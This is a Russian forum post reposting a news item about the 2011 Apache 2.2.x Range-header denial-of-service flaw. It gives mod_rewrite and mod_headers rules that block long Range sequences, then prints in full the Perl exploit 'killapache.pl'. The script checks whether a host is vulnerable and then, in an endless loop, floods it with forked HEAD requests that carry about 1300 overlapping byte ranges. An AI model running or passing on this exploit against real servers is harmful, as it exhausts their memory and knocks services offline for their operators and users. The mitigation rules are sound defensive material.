В этой теме нет ответов

[AGK]

http://www.opennet.r...shtml?num=31582

В http-сервере Apache найдена опасная уязвимость, позволяющая вызвать отказ в обслуживании через исчерпание всей доступной памяти. Опасность уязвимости усугубляется тем, что для её осуществления уже доступен готовый эксплоит, позволяющий совершить атаку с одной машины с генерацией минимального трафика. При отсутствии отдельных лимитов на размер выделяемой Apache памяти, после выполнения эксплоита наблюдается полное исчерпание памяти с уходом в бесконечный своппинг без возможности зайти в консоль.

Проблема вызвана ошибкой в реализации поддержки загрузки части файла по указанному диапазону (например, после обрыва соединения можно запросить загрузку начиная с определенной позиции). Ошибка связана с тем, что при обработке запроса, содержащего большое число диапазонов (например, "Range:bytes=0-,5-1,5-2,5-3,...,5-1000"), расходуется слишком много памяти. Для осуществления удачной атаки достаточно отправить около 50 подобных запросов на сервер.

Проблема присутствует в Apache 2.2.x, включая последний релиз 2.2.19. Исправление пока доступно в виде патча. Также имеется несколько способов временной защиты, не требующих пересборки Apache. Например, можно принудительно очищать заголовок Range при помощи mod_header ("RequestHeader unset Range") или блокировать длинные последовательности Range через mod_rewrite:

# Вариант 1:
RewriteEngine On
RewriteCond %{HTTP:Range} bytes=0-[0-9]+, [NC,OR]
RewriteCond %{HTTP:Range} bytes=([0-9-],){4,} [NC,OR]
RewriteCond %{HTTP:Range} bytes=[0-9,-]+,0-(,|$) [NC]
RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F]

# Вариант 2:
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [F]

# Вариант 3:
RewriteEngine On
RewriteCond %{HTTP:Range} bytes=0-.* [NC]
RewriteRule .? http://%{SERVER_NAME}/ [R=302,L]

Интересно, что о теоретической возможности совершения подобной атаки Михаил Залевски (Michal Zalewski), известный польский эксперт в области компьютерной безопасности в настоящее время работающий в Google, сообщал еще 4 года назад, но проблема по каким-то причинам не была воспринята всерьез и исправления не были внесены.

эксплоит

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
 	PeerPort => "80",
 		 Proto	=> 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
 	PeerPort => "80",
 		 Proto	=> 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}